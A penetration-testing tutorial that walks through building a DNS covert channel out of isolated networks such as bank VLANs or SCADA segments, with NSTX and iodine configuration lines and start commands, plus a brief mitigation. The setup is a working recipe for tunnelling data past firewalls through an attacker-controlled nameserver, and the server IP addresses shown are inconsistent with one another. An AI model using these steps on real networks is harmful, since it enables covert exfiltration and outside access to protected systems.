Sometimes while you are performing a penetration test, you need to break out from a supposedly isolated network like an internal VLAN in a bank, or a process network full of SCADA equipment. Such networks should be completely isolated from the Internet, so there is no chance that someone who has network access can implant a backdoor and either sneak out information or allow access from the outside. This article demonstrates how the often overlooked DNS service can be used to build a covert channel and why when you configure an isolated network, you shouldn’t allow even name resolution of external hosts. To demonstrate this we will use both the NSTX and Iodine tunnels to build a dns tunnel and bypass the potential firewall restrictions.
A great tool to demonstrate this idea is NSTX. It allows you to tunnel IP packets inside DNS queries, thus bypassing all firewall restrictions. Experience shows that almost any network will have access to DNS servers and also most DNS servers by default have forwarders enabled. This will be your gateway to the Internet, provided that you have a domain name that is controlled by you and a server with a valid external IP address, that is currently not running DNS.
The magic that makes the whole thing work is a subdomain whose control is delegated to your server which will be running the NSTX daemon. The following BIND configuration lines demonstrate this:
$ORIGIN tunnel.example.com. @ IN NS ns.tunnel.example.com. ns IN A 22.214.171.124
These configure the DNS server to forward all DNS queries for the records in tunnel.example.com to the DNS server (NSTX daemon) located on IP address 126.96.36.199. This way all queries for hosts like test.tunnel.example.com will be forwarded to your NSTX daemon running at 188.8.131.52. As you might have already guessed, the actual host request that is sent to the NSTX daemon is a Base64 encoded part of an IP packet. Just as the TXT record that you receive in reply.
$ sudo apt-get install nstx
Then you’ll have to add the following lines in /etc/network/interfaces on the server:
iface tun0 inet static address 10.0.0.1 pointopoint 10.0.0.2 netmask 255.255.255.255 mtu 512
Swap the IP addresses when you modify /etc/network/interfaces on the client machine:
iface tun0 inet static address 10.0.0.2 pointopoint 10.0.0.1 netmask 255.255.255.255 mtu 512
This will ensure that one the NSTX tunnel is up, you’ll have 10.0.0.1 on the server and 10.0.0.2 on the client side. You might tweak the mtu parameter for better performance, but with 512 bytes you should be fine.
The next thing that you’ll need to do is to modify /etc/defaults/nstx. On the server make sure that the following entries are uncommented:
NSTX_DOMAIN="tunnel.example.com" start_nstxd=yes ifup_tun=tun0
And on the client side:
NSTX_DOMAIN="tunnel.example.com" start_nstxcd=yes ifup_tun=tun0
And that’s it! When you start the NSTX daemon on the server:
$ sudo /etc/init.d/nstxd start
… and on the client …
$ sudo /etc/init.d/nstxcd start
… you should see a tunnel interface called tun0 that is up on both machines and you should be able to ping 10.0.0.1 from the client. From there you might want to enable NAT on your server and allow packets to be routed through it, but as this is a trivial task, I guess you can figure that out by yourself.
Now, after you have already understood the principle of operation and the low level approach, we present you the easy way of digging DNS tunnels – by using iodine. Compared to NSTX, iodine has the following advantages:
iodine uses the NULL type that allows the downstream data to be sent without encoding. Each DNS reply can contain over a kilobyte of compressed payload data.
iodine runs on many different UNIX-like systems as well as on Win32. Tunnels can be set up between two hosts no matter their endianness or operating system.
iodine uses challenge-response login secured by MD5 hash. It also filters out any packets not coming from the IP used when logging in.
iodine handles setting IP number on interfaces automatically, and up to 16 users can share one server at the same time. Packet size is automatically probed for maximum downstream throughput.
Even though Iodine is much easier to use and it has clients for Windows, it seems that it is not that reliable as NSTX, as NSTX works in some networks where Iodine fails. This has probably something to do with the different types of DNS queries that are used by those two applications.
The immediately obvious advantages are the Windows client, the password protection and the much easier setup process. As iodine comes bundled in most Debian distributions, you can just install it using apt-get, or you can grab the latest stable Windows packages from here. Please refer to the README for some explanation on the usage.
The mitigation couldn’t be easier – just don’t allow access from an isolated network to a DNS server which has forwarders enabled.